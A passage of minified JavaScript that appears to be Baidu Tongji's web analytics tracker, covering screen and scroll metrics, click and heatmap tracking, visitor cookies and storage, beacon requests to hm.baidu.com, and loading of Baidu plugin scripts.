"";mt.e.Ab = (window.screen.width || 0) + "x" + (window.screen.height || 0);mt.e.colorDepth = window.screen.colorDepth || 0;mt.e.Ya = function() {var a;a = a || document;return parseInt(window.pageYOffset || a.documentElement.scrollTop || a.body && a.body.scrollTop || 0, 10)};mt.e.$a = function() {var a = document;return parseInt(window.innerHeight || a.documentElement.clientHeight || a.body && a.body.clientHeight || 0, 10)};mt.e.W = function() {return mt.e.Ya() + mt.e.$a()};mt.e.sa = 0;mt.e.bb = function() {var a = document;return parseInt(window.innerWidth || a.documentElement.clientWidth || a.body.offsetWidth || 0, 10)};mt.e.orientation = 0;(function() {function a() {var a = 0;window.orientation !== s && (a = window.orientation);screen && (screen.orientation && screen.orientation.angle !== s) && (a = screen.orientation.angle);mt.e.orientation = a;mt.e.sa = mt.e.bb()}a();e.c(window, "orientationchange", a)})();return mt.e})();mt.w = {};mt.w.parse = function(e) {return (new Function("return (" + e + ")"))()};mt.w.stringify = function() {function e(a) {/["\\\x00-\x1f]/.test(a) && (a = a.replace(/["\\\x00-\x1f]/g, function(a) {var f = b[a];if (f) return f;f = a.charCodeAt();return "\\u00" + Math.floor(f / 16).toString(16) + (f % 16).toString(16)}));return '"' + a + '"';}function a(a) {return 10 > a ? "0" + a : a;}var b = {"\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\"};return function(b) {switch (typeof b) {case "undefined":return "undefined";case "number":return isFinite(b) ? String(b) : "null";case "string":return e(b);case "boolean":return String(b);default:if (b === u) return "null";if (b instanceof Array) {var d = ["["], f = b.length, g, l, r;for (l = 0; l < f; l++) switch (r = b[l], typeof r) {case "undefined":case "function":case "unknown":break;default:g && d.push(","), d.push(mt.w.stringify(r)), g = 1}d.push("]");return d.join("")}if (b instanceof Date) return '"' + b.getFullYear() + "-" + a(b.getMonth() + 1) + "-" + a(b.getDate()) + "T" + a(b.getHours()) + ":" + a(b.getMinutes()) + ":" + a(b.getSeconds()) + '"';g = ["{"];l = mt.w.stringify;for (f in b) if (Object.prototype.hasOwnProperty.call(b, f)) switch (r = b[f], typeof r) {case "undefined":case "unknown":case "function":break;default:d && g.push(","), d = 1, g.push(l(f) + ":" + l(r))}g.push("}");return g.join("")}}}();mt.localStorage = {};mt.localStorage.Q = function() {if (!mt.localStorage.g) try {mt.localStorage.g = document.createElement("input"), mt.localStorage.g.type = "hidden", mt.localStorage.g.style.display = "none", mt.localStorage.g.addBehavior("#default#userData"), document.getElementsByTagName("head")[0].appendChild(mt.localStorage.g)} catch (e) {return x;}return t;};mt.localStorage.set = function(e, a, b) {var k = new Date;k.setTime(k.getTime() + (b || 31536E6));try {window.localStorage ? (a = k.getTime() + "|" + a, window.localStorage.setItem(e, a)) : mt.localStorage.Q() && (mt.localStorage.g.expires = k.toUTCString(), mt.localStorage.g.load(document.location.hostname), mt.localStorage.g.setAttribute(e, a), mt.localStorage.g.save(document.location.hostname))} catch (d) {}};mt.localStorage.get = function(e) {if (window.localStorage) {if (e = window.localStorage.getItem(e)) {var a = e.indexOf("|"), b = e.substring(0, a) - 0;if (b && b > (new Date).getTime()) return e.substring(a + 1);}} else if (mt.localStorage.Q()) try {return mt.localStorage.g.load(document.location.hostname), mt.localStorage.g.getAttribute(e)} catch (k) {}return u;};mt.localStorage.remove = function(e) {if (window.localStorage) window.localStorage.removeItem(e); else if (mt.localStorage.Q()) try {mt.localStorage.g.load(document.location.hostname), mt.localStorage.g.removeAttribute(e), mt.localStorage.g.save(document.location.hostname)} catch (a) {}};mt.sessionStorage = {};mt.sessionStorage.set = function(e, a) {try {window.sessionStorage && window.sessionStorage.setItem(e, a)} catch (b) {}};mt.sessionStorage.get = function(e) {try {return window.sessionStorage ? window.sessionStorage.getItem(e) : u} catch (a) {return u;}};mt.sessionStorage.remove = function(e) {try {window.sessionStorage && window.sessionStorage.removeItem(e)} catch (a) {}};(function() {var e = mt.w;mt.A = {};mt.A.log = function(a, b) {var e = new Image, d = "mini_tangram_log_" + Math.floor(2147483648 * Math.random()).toString(36);window[d] = e;e.onload = function() {e.onload = u;e = window[d] = u;b && b(a)};e.src = a};mt.A.get = function(a, b) {return mt.A.wa({url: a, method: "GET", data: b.data, timeout: b.timeout, noCache: t, success: b.success, fail: b.fail})};mt.A.wa = function(a) {function b(a) {var b = [], d;for (d in a) a.hasOwnProperty(d) && b.push(encodeURIComponent(d) + "=" + encodeURIComponent(a[d]));return b.join("&")}function k(b) {var d = a[b];if (d) if (q && clearTimeout(q), "success" !== b) d && d(m); else {var f;try {f = e.parse(m.responseText)} catch (g) {d && d(m);return}d && d(m, f)}}a = a || {};var d = a.data;"object" === typeof d && (d = b(a.data || {}));var f = a.url, g = (a.method || "GET").toUpperCase(), l = a.headers || {}, r = a.timeout || 0, p = a.noCache || x, n = a.withCredentials || x, m, q;try {a: if (window.XMLHttpRequest) m = new XMLHttpRequest; else {try {m = new ActiveXObject("Microsoft.XMLHTTP");break a} catch (v) {}m = s}"GET" === g && (d && (f += (0 <= f.indexOf("?") ? "&" : "?") + d, d = u), p && (f += (0 <= f.indexOf("?") ? "&" : "?") + "b" + +new Date + "=1"));m.open(g, f, t);m.onreadystatechange = function() {if (4 === m.readyState) {var a = 0;try {a = m.status} catch (b) {k("fail");return}200 <= a && 300 > a || 304 === a || 1223 === a ? k("success") : k("fail")}};for (var w in l) l.hasOwnProperty(w) && m.setRequestHeader(w, l[w]);n && (m.withCredentials = t);r && (q = setTimeout(function() {m.onreadystatechange = function() {};m.abort();k("fail")}, r));m.send(d)} catch (A) {k("fail")}return m};return mt.A})();h.o = {kb: "http://tongji.baidu.com/hm-web/welcome/ico", aa: "hm.baidu.com/hm.gif", xa: /^(tongji|hmcdn).baidu.com$/, Gb: "tongji.baidu.com", hb: "hmmd", ib: "hmpl", Jb: "utm_medium", gb: "hmkw", Lb: "utm_term", eb: "hmci", Ib: "utm_content", jb: "hmsr", Kb: "utm_source", fb: "hmcu", Hb: "utm_campaign", ka: 0, B: Math.round(+new Date / 1E3), protocol: "https:" === document.location.protocol ? "https:" : "http:", L: "https:", Da: 6E5, bc: 5E3, Ea: 5, ca: 1024, G: 2147483647, ra: "hca cc cf ci ck cl cm cp cu cw ds vl ep et ja ln lo lt rnd si su v cv lv api sn r ww p u tt".split(" "), ga: t, Pb: {id: "data-hm-id", Tb: "data-hm-class", jc: "data-hm-xpath", content: "data-hm-content", hc: "data-hm-tag", link: "data-hm-link"}, Rb: "data-hm-enabled", Qb: "data-hm-disabled", xb: "https://hmcdn.baidu.com/static/tongji/plugins/", na: ["UrlChangeTracker"], Nb: {$b: 0, ic: 1, Xb: 2}, Yb: "https://fclog.baidu.com/log/ocpcagl?type=behavior&emd=euc"};(function() {var e = {t: {}, c: function(a, b) {this.t[a] = this.t[a] || [];this.t[a].push(b)}, k: function(a, b) {this.t[a] = this.t[a] || [];for (var e = this.t[a].length, d = 0; d < e; d++) this.t[a][d](b)}};return h.s = e})();(function() {var e = mt.lang, a = /^https?:\/\//, b = {Oa: function(a) {var b;try {b = JSON.parse(decodeURIComponent(a[0]))} catch (f) {}return b}, la: function(a, d) {return b.ma(h.b && h.b.a && h.b.a.u, a, d) || b.ma(c.site_href, a, d)}, ma: function(b, d, f) {if (b === s) return x;a.test(d) || (b = b.replace(a, ""));d = d.replace(/\/$/, "");b = b.replace(/\/$/, "");f && (b = b.replace(/^(https?:\/\/)?www\./, "$1"));return RegExp("^" + d.replace(/[?.+^${}()|[\]\\]/g, "\\$&").replace(/\*/g, ".*") + "$").test(b)}, H: function(a, d) {var f = b.Oa(a);if (!e.i(f, "Undefined")) {if (e.isArray(f)) {for (var g = 0; g < f.length; g++) if (b.la(f[g], d)) return t;return x;}if (e.J(f)) {var g = [], l;for (l in f) f.hasOwnProperty(l) && b.la(l, d) && (g = g.concat(f[l]));return g;}}}};return h.S = b;})();(function() {function e(b, e) {var d = document.createElement("script");d.charset = "utf-8";a.j(e) && (d.readyState ? d.onreadystatechange = function() {if ("loaded" === d.readyState || "complete" === d.readyState) d.onreadystatechange = u, e()} : d.onload = function() {e()});d.src = b;var f = document.getElementsByTagName("script")[0];f.parentNode.insertBefore(d, f)}var a = mt.lang;return h.load = e})();(function() {var e = h.o, a = {D: function() {if ("" !== c.icon) {var a = c.icon.split("|"), k = e.kb + "?s=" + c.id, d = "https://hmcdn.baidu.com/static" + a[0] + ".gif";document.write("swf" === a[1] || "gif" === a[1] ? '<a href="' + k + '" target="_blank"><img border="0" src="' + d + '" width="' + a[2] + '" height="' + a[3] + '"></a>' : '<a href="' + k + '" target="_blank">' + a[0] + "</a>")}}};h.s.c("pv-b", a.D);return a;})();(function() {var e = mt.url, a = mt.cookie, b = mt.localStorage, k = mt.sessionStorage, d = {getData: function(d) {try {return a.get(d) || k.get(d) || b.get(d)} catch (e) {}}, setData: function(f, e, l) {try {a.set(f, e, {domain: d.I(), path: d.U(), C: l}), l ? b.set(f, e, l) : k.set(f, e)} catch (r) {}}, removeData: function(e) {try {a.set(e, "", {domain: d.I(), path: d.U(), C: -1}), k.remove(e), b.remove(e)} catch (g) {}}, I: function() {for (var a = document.location.hostname, b = 0, d = c.dm.length; b < d; b++) if (e.qb(a, c.dm[b])) return c.dm[b].replace(/(:\d+)?[/?#].*/, "");return a;}, U: function() {for (var a = 0, b = c.dm.length; a < b; a++) {var d = c.dm[a];if (-1 < d.indexOf("/") && e.pb(d)) return d.replace(/^[^/]+(\/.*)/, "$1") + "/";}return "/";}};return h.R = d;})();(function() {var e = mt.lang, a = mt.d, b = h.S, k = {Ha: function(d, e) {return function(g) {var l = g.target || g.srcElement;if (l) {var r = b.H(e) || [], p = l.getAttribute(d.P);g = g.clientX + ":" + g.clientY;if (p && p === g) l.removeAttribute(d.P); else if (0 < r.length && (l = a.Wa(l)) && l.length) if (r = l.length, p = l[l.length - 1], 1E4 > r * p.split(">").length) for (p = 0; p < r; p++) k.qa(d, l[p]); else k.qa(d, p)}}}, qa: function(a, b) {for (var g = {}, l = String(b).split(">").length, k = 0; k < l; k++) g[b] = "", /\[1\]$/.test(b) && (g[b.substring(0, b.lastIndexOf("["))] = ""), /\]$/.test(b) || (g[b + "[1]"] = ""), b = b.substring(0, b.lastIndexOf(">"));a && (e.J(a) && a.ba) && a.ba(g)}, zb: function(a, b) {return function(e) {(e.target || e.srcElement).setAttribute(a.P, e.clientX + ":" + e.clientY);a && a.N && (b ? a.N(b) : a.N("#" + encodeURIComponent(this.id), e.type))}}};return h.Ia = k})();(function() {var e = mt.d, a = mt.event, b = h.S, k = h.Ia, d = {P: "HM_fix", ua: function() {a.c(document, "click", k.Ha(d, c.etrk), t);if (!document.addEventListener) for (var f = b.H(c.etrk) || [], g = 0; g < f.length; g++) {var l = f[g];-1 === l.indexOf(">") && (0 === l.indexOf("#") && (l = l.substring(1)), (l = e.La(l)) && a.c(l, "click", k.zb(d), t))}}, ba: function(a) {for (var e = b.H(c.etrk) || [], k = 0; k < e.length; k++) {var r = e[k];a.hasOwnProperty(r) && d.N(r)}}, N: function(a, b) {h.b.a.et = 1;h.b.a.ep = "{id:" + a + ",eventType:" + (b || "click") + "}";h.b.m()}};h.s.c("pv-b", d.ua);return d})();(function() {var e = mt.d, a = mt.lang, b = mt.event, k = mt.e, d = h.o, f = h.S, g = [], l = {ta: function() {c.ctrk && 0 < c.ctrk.length && (b.c(document, "mouseup", l.Ca()), b.c(window, "unload", function() {l.M()}), setInterval(function() {l.M()}, d.Da))}, Ca: function() {return function(a) {if (f.H(c.ctrk, t) && (a = l.Na(a), "" !== a)) {var b = (d.L + "//" + d.aa + "?" + h.b.pa().replace(/ep=[^&]*/, "ep=" + encodeURIComponent(a))).length;b + (d.G + "").length > d.ca || (b + encodeURIComponent(g.join("!") + (g.length ? "!" : "")).length + (d.G + "").length > d.ca && l.M(), g.push(a), (g.length >= d.Ea || /\*a\*/.test(a)) && l.M())}}}, Na: function(b) {var d = b.target || b.srcElement, f, m;k.mb ? (m = Math.max(document.documentElement.scrollTop, document.body.scrollTop), f = Math.max(document.documentElement.scrollLeft, document.body.scrollLeft), f = b.clientX + f, m = b.clientY + m) : (f = b.pageX, m = b.pageY);b = l.Ta(b, d, f, m);    var q = window.innerWidth || document.documentElement.clientWidth || document.body.offsetWidth;switch (c.align) {case 1:f -= q / 2;break;case 2:f -= q}    q = [];    q.push(f);    q.push(m);    q.push(b.ub);    q.push(b.vb);    q.push(b.yb);    q.push(a.n(b.wb));    q.push(b.Mb);    q.push(b.cb);    (d = "a" === (d.tagName || "").toLowerCase() ? d : e.Ma(d)) ? (q.push("a"),q.push(a.n(encodeURIComponent(d.href)))) : q.push("b");    return q.join("*")},Ta: function(b, d, f, m) {    b = e.Xa(d);    var q = 0, g = 0, w = 0, l = 0;    if (d && (q = d.offsetWidth || d.clientWidth,g = d.offsetHeight || d.clientHeight,l = e.Ua(d),w = l.left,l = l.top,    a.j(d.getBBox) && (g = d.getBBox(),q = g.width,g = g.height),    "html" === (d.tagName || "").toLowerCase()))q = Math.max(q, d.clientWidth),    g = Math.max(g, d.clientHeight);    return {ub: Math.round(100 * ((f - w) / q)),vb: Math.round(100 * ((m - l) / g)),yb: k.orientation,wb: b,Mb: q,cb: g    }},M: function() {    0 !== g.length && (h.b.a.et = 2,h.b.a.ep = g.join("!"),h.b.m(),g = [])}    };    h.s.c("pv-b", l.ta);    return l}    )();    (function() {    function e() {return function() {    h.b.a.et = 3;    h.b.a.ep = h.T.Va() + "," + h.T.Ra();    h.b.a.hca = c.hca;    h.b.m()}    }    function a() {clearTimeout(C);var b;w && (b = "visible" == document[w]);A && (b = !document[A]);l = "undefined" == typeof b ? t : b;if ((!g || !r) && l && p)    v = t,m = +new Date;else if (g && r && (!l || !p))    v = x,q += +new Date - m;g = l;r = p;C = setTimeout(a, 100)    }    function b(b) {var a = document    , d = "";if (b in a)    d = b;else    for (var m = ["webkit", "ms", "moz", "o"], e = 0; e < m.length; e++) {var f = m[e] + b.charAt(0).toUpperCase() + b.slice(1);if (f in a) {    d = f;    break}    }return d    }    function k(b) {if (!("focus" == b.type || "blur" == b.type) || !(b.target && b.target != window))    p = "focus" == b.type || "focusin" == b.type ? t : x,a()    }    var d = mt.event, f = h.s, g = t, l = t, r = t, p = t, n = +new Date, m = n, q = 0, v = t, w = b("visibilityState"), A = b("hidden"), C;    a();    (function() {    var b = w.replace(/[vV]isibilityState/, "visibilitychange");    d.c(document, b, a);    d.c(window, "pageshow", a);    d.c(window, "pagehide", a);    "object" == typeof document.onfocusin ? (d.c(document, "focusin", k),d.c(document, "focusout", k)) : (d.c(window, "focus", k),d.c(window, "blur", k))}    )();    h.T = {Va: function() {    return +new Date - n},Ra: function() {    return v ? +new Date - m + q : q}    };    f.c("pv-b", function() {d.c(window, "unload", e())    });    f.c("duration-send", e());    f.c("duration-done", function() {m = n = +new Date;q = 0    });    return h.T}    )();    (function() {    var e = mt.lang, a = h.o, b = h.load, k = h.R, d = {lb: function(d) {    if ((window._dxt === s || e.i(window._dxt, "Array")) && "undefined" !== typeof h.b) {var g = k.I();b([a.protocol, "//datax.baidu.com/x.js?si=", c.id, "&dm=", encodeURIComponent(g)].join(""), d)    }},Fb: function(b) {    if (e.i(b, "String") || e.i(b, "Number"))window._dxt = window._dxt || [],    window._dxt.push(["_setUserId", b])}    };    return h.Fa = d}    )();    (function() {    function e(a) {for (var d in a)    if ({}.hasOwnProperty.call(a, d)) {var f = a[d];b.J(f) || b.isArray(f) ? e(f) : a[d] = String(f)    }    }    var a = mt.url, b = mt.lang, k = mt.w, d = mt.e, f = h.o, g = h.s, l = h.Fa, r = h.load, p = h.R, n = {F: [],O: 0,Y: x,D: function() {    n.h = 0;    g.c("pv-b", function() {n.Ga();n.Ja()    });    g.c("pv-d", function() {n.Ka()    });    g.c("stag-b", function() {h.b.a.api = n.h || n.O ? n.h + "_" + n.O : ""    });    g.c("stag-d", function() {h.b.a.api = 0;n.h = 0;n.O = 0    })},Ga: function() {    var a = window._hmt || [];    if (!a || b.i(a, "Array"))window._hmt = {    id: c.id,    cmd: {},    push: function() {for (var a = window._hmt, d = 0; d < arguments.length; d++) {    var e = arguments[d];    b.i(e, "Array") && (a.cmd[a.id].push(e),    "_setAccount" === e[0] && (1 < e.length && /^[0-9a-f]{31,32}$/.test(e[1])) && (e = e[1],a.id = e,a.cmd[e] = a.cmd[e] || []))}    }},    window._hmt.cmd[c.id] = [],    window._hmt.push.apply(window._hmt, a)},Ja: function() {    var b = window._hmt;    if (b && b.cmd && b.cmd[c.id])for (var a = b.cmd[c.id], d = /^_track(Event|Order)$/, e = 0, f = a.length; e < f; e++) {    var g = a[e];    d.test(g[0]) ? n.F.push(g) : n.$(g)}    b.cmd[c.id] = {push: n.$    }},Ka: function() {    if (0 < n.F.length)for (var b = 0, a = n.F.length; b < a; b++)    n.$(n.F[b]);    n.F = u},$: function(a) {    var d = a[0];    if (n.hasOwnProperty(d) && b.j(n[d]))n[d](a)},_setAccount: function(b) {    1 < b.length && /^[0-9a-f]{31,32}$/.test(b[1]) && (n.h |= 1)},_setAutoPageview: function(b) {    if (1 < b.length && (b = b[1],    x === b || t === b))n.h |= 2,    h.b.ha = b},_trackPageview: function(b) {    1 < b.length && (b[1].charAt && "/" === b[1].charAt(0)) && (n.h |= 4,h.b.a.sn = h.b.ea(),h.b.a.et = 0,h.b.a.ep = "",h.b.a.vl = d.W(),    n.Y || (h.b.a.su = h.b.a.u || c.site_href),h.b.a.u = f.protocol + "//" + document.location.host + b[1],h.b.m(),h.b.sb = +new Date)},_trackEvent: function(a) {    2 < a.length && (n.h |= 8,h.b.a.et = 4,h.b.a.ep = b.n(a[1]) + "*" + b.n(a[2]) + (a[3] ? "*" + b.n(a[3]) : "") + (a[4] ? "*" + b.n(a[4]) : ""),h.b.m())},_setCustomVar: function(a) {    if (!(4 > a.length)) {var d = a[1]    , e = a[4] || 3;if (0 < d && 6 > d && 0 < e && 4 > e) {    n.O++;    for (var f = (h.b.a.cv || "*").split("!"), g = f.length; g < d - 1; g++)f.push("*");    f[d - 1] = e + "*" + b.n(a[2]) + "*" + b.n(a[3]);    h.b.a.cv = f.join("!");    a = h.b.a.cv.replace(/[^1](\*[^!]*){2}/g, "*").replace(/((^|!)\*)+$/g, "");    "" !== a ? p.setData("Hm_cv_" + c.id, encodeURIComponent(a), c.age) : p.removeData("Hm_cv_" + c.id)}    }},_setReferrerOverride: function(a) {    1 < a.length && (a = a[1],b.i(a, "String") ? (h.b.a.su = "/" === a.charAt(0) ? f.protocol + "//" + window.location.host + a : a,    n.Y = t) : n.Y = x)},_trackOrder: function(a) {    a = a[1];    b.J(a) && (e(a),n.h |= 16,h.b.a.et = 94,h.b.a.ep = k.stringify(a),h.b.m())},_setDataxId: function(a) {    a = a[1];    l.lb();    l.Fb(a)},_setAutoTracking: function(a) {    if (1 < a.length && (a = a[1],    x === a || t === a))h.b.ia = a},_trackPageDuration: function(a) {    1 < a.length ? (a = a[1],    2 === String(a).split(",").length && (h.b.a.et = 3,h.b.a.ep = a,h.b.m())) : g.k("duration-send");    g.k("duration-done")},_require: function(b) {    1 < b.length && (b = b[1],    f.xa.test(a.V(b)) && r(b))},_providePlugin: function(a) {    if (1 < a.length) {var d = window._hmt    , e = a[1];a = a[2];if (b.X(f.na, e) && b.j(a) && (d.plugins = d.plugins || {},    d.z = d.z || {},    d.plugins[e] = a,    d.l = d.l || [],    a = d.l.slice(),e && a.length && a[0][1] === e))    for (var g = 0, k = a.length; g < k; g++) {var l = a[g][2] || {};if (d.plugins[e] && !d.z[e])    d.z[e] = new d.plugins[e](l),d.l.shift();else    break    }    }},_requirePlugin: function(a) {    if (1 < a.length) {var d = window._hmt    , e = a[1]    , g = a[2] || {};if (b.X(f.na, e))    if (d.plugins = d.plugins || {},d.z = d.z || {},    d.plugins[e] && !d.z[e])d.z[e] = new d.plugins[e](g);    else {d.l = d.l || [];for (var g = 0, k = d.l.length; g < k; g++)    if (d.l[g][1] === e)return;d.l.push(a);n._require([u, f.xb + e + ".js"])    }    }}    };    n.D();    h.ya = n;    return h.ya}    )();    (function() {    var e = h.s;    c.spa !== s && "1" === String(c.spa) && (window._hmt = window._hmt || [],window._hmt.push(["_requirePlugin", "UrlChangeTracker"]),e.c("pv-b", function() {    "" !== site_hash && (h.b.a.u = window.location.href)}))}    )();    (function() {    function e() {"undefined" === typeof window["_bdhm_loaded_" + c.id] && (window["_bdhm_loaded_" + c.id] = t,    this.a = {},    this.ob = this.ia = this.ha = t,    this.ga = m.ga,    this.Sb = k.Z(c.aet) && 0 < c.aet.length ? c.aet.split(",") : "",    this.D())    }    var a = mt.url, b = mt.A, k = mt.lang, d = mt.cookie, f = mt.e, g = mt.sessionStorage, l = mt.w, r = mt.event, p = h.R, n = mt.localStorage, m = h.o, q = h.load, v = h.s;    e.prototype = {Db: function() {    var a, b, e, f;    m.ka = p.getData("Hm_lpvt_" + c.id) || 0;    if (f = p.getData("Hm_lvt_" + c.id)) {for (b = f.split(","); 2592E3 < m.B - b[0]; )    b.shift();e = 4 > b.length ? 2 : 3;for (m.B - m.ka > c.vdur && b.push(m.B); 4 < b.length; )    b.shift();f = b.join(",");b = b[b.length - 1]    } elsef = m.B,    b = "",    e = 1;    this.nb() ? (p.setData("Hm_lvt_" + c.id, f, c.age),p.setData("Hm_lpvt_" + c.id, m.B),a = d.rb(p.I(), p.U())) : this.da();    this.a.cc = a;    this.a.lt = b;    this.a.lv = e},nb: function() {    var b = a.V(c.site_href);    return !k.X("sjh.baidu.com isite.baidu.com".split(" "), b)},Aa: function() {    var a = "Hm_clear_cookie_" + c.id, b = n.get(a) || 0;    c.fc && Number(c.fc) > Number(b) && (this.da(),n.set(a, c.fc))},da: function() {    for (var a = document.cookie.split(";"), b = 0; b < a.length; b++) {var d = a[b].split("=");d.length && /Hm_(up|cv|lp?vt)_[0-9a-f]{31}/.test(String(d[0])) && p.removeData(k.trim(d[0]));d.length && /Hm_ck_[0-9]{13}/.test(String(d[0])) && p.removeData(k.trim(d[0]))    }},pa: function() {    for (var a = [], b = this.a.et, d = 0, e = m.ra.length; d < e; d++) {var f = m.ra[d]    , g = this.a[f];"undefined" !== typeof g && "" !== g && ("tt" !== f || "tt" === f && 0 === b) && a.push(f + "=" + encodeURIComponent(g))    }    return a.join("&")},Eb: function() {    this.Db();    this.a.si = c.id;    this.a.sn = this.ea();    this.a.su = document.referrer;    this.a.ds = f.Ab;    this.a.cl = f.colorDepth + "-bit";    this.a.ln = String(f.language).toLowerCase();    this.a.ja = f.javaEnabled ? 1 : 0;    this.a.ck = f.cookieEnabled ? 1 : 0;    this.a.lo = "number" === typeof _bdhm_top ? 1 : 0;    this.a.v = "1.3.0";    this.a.cv = decodeURIComponent(p.getData("Hm_cv_" + c.id) || "");    this.a.tt = document.title || "";    this.a.vl = f.W();    var b = c.site_href;    this.a.cm = a.f(b, m.hb) || "";    this.a.cp = a.f(b, m.ib) || a.f(b, m.Jb) || "";    this.a.cw = a.f(b, m.gb) || a.f(b, m.Lb) || "";    this.a.ci = a.f(b, m.eb) || a.f(b, m.Ib) || "";    this.a.cf = a.f(b, m.jb) || a.f(b, m.Kb) || "";    this.a.cu = a.f(b, m.fb) || a.f(b, m.Hb) || "";    /https?:/.test(document.location.protocol) && (this.a.u = b)},D: function() {    try {this.Aa(),    this.Eb(),    this.Cb(),    h.b = this,    this.za(),    this.tb(),    v.k("pv-b"),this.ob && this.Bb()    } catch (a) {var d = [];d.push("si=" + c.id);d.push("n=" + encodeURIComponent(a.name));d.push("m=" + encodeURIComponent(a.message));d.push("r=" + encodeURIComponent(document.referrer));b.log(m.L + "//" + m.aa + "?" + d.join("&"))    }},Bb: function() {    function a() {v.k("pv-d")    }    this.ha ? (this.a.et = 0,this.a.ep = "",v.k("setPageviewProp"),this.a.vl = f.W(),this.m(a),this.a.p = "") : a();    this.sb = +new Date;    v.k("clearPageviewProp")},m: function(a) {    if (this.ia) {var d = this;d.a.rnd = Math.round(Math.random() * m.G);d.a.r = f.orientation;d.a.ww = f.sa;v.k("stag-b");var e = m.L + "//" + m.aa + "?" + d.pa();v.k("stag-d");d.va(e);b.log(e, function(b) {    d.oa(b);    k.j(a) && a.call(d)})    }},za: function() {    try {if (window.postMessage && window.self !== window.parent) {    var b = this;    r.c(window, "message", function(d) {if (a.V(d.origin) === m.Gb) {    d = d.data || {};    var e = d.jn || "", f = /^customevent$|^heatmap$|^pageclick$|^select$/.test(e);    if (RegExp(c.id).test(d.sd || "") && f)b.a.rnd = Math.round(Math.random() * m.G),    q(m.protocol + "//" + c.js + e + ".js?" + b.a.rnd)}    });    window.parent.postMessage({id: c.id,url: c.site_href,status: "__Messenger__hmLoaded"    }, "*")}    } catch (d) {}},tb: function() {    try {if (window.self === window.parent) {    var b = c.site_href, d = a.f(b, "baidu-analytics-token"), e = a.f(b, "baidu-analytics-jn");    /^[a-f0-9]{32}\/?$/.test(d) && /^(overlay|vabtest)\/?$/.test(e) && q(m.protocol + "//" + c.js + e + ".js?" + Math.round(Math.random() * m.G))}    } catch (f) {}},va: function(a) {    var b;    try {b = l.parse(g.get("Hm_unsent_" + c.id) || "[]")    } catch (d) {b = []    }    var e = this.a.u ? "" : "&u=" + encodeURIComponent(c.site_href);    b.push(a.replace(/^https?:\/\//, "") + e);    g.set("Hm_unsent_" + c.id, l.stringify(b))},oa: function(a) {    var b;    try {b = l.parse(g.get("Hm_unsent_" + c.id) || "[]")    } catch (d) {b = []    }    if (b.length) {a = a.replace(/^https?:\/\//, "");for (var e = 0; e < b.length; e++)    if (a.replace(/&u=[^&]*/, "") === b[e].replace(/&u=[^&]*/, "")) {b.splice(e, 1);break    }b.length ? g.set("Hm_unsent_" + c.id, l.stringify(b)) : this.Ba()    }},Ba: function() {    g.remove("Hm_unsent_" + c.id)},Cb: function() {    var a = this, d;    try {d = l.parse(g.get("Hm_unsent_" + c.id) || "[]")    } catch (e) {d = []    }    if (d.length)for (var f = function(d) {    b.log(m.L + "//" + d, function(b) {a.oa(b)    })}, k = 0; k < d.length; k++)    f(d[k])},ea: function() {    return Math.round(+new Date / 1E3) % 65535}    };    return new e;}    )();    var y = h.o, z = h.load;    if (c.apps) {var B = [y.protocol, "//ers.baidu.com/app/s.js?"];B.push(c.apps);z(B.join(""))    }    var D = h.o, E = h.load;    c.pt && E([D.protocol, "//ada.baidu.com/phone-tracker/insert_bdtj?sid=", c.pt].join(""));    var F = h.load;    if (c.qiao) {for (var G = ["https://goutong.baidu.com/site/"], H = c.id, I = 5381, J = H.length, K = 0; K < J; K++)    I = (33 * I + Number(H.charCodeAt(K))) % 4294967296;2147483648 < I && (I -= 2147483648);G.push(I % 1E3 + "/");G.push(c.id + "/b.js");G.push("?siteId=" + c.qiao);F(G.join(""))    }    ;}tongji(code_id,code_domain);}
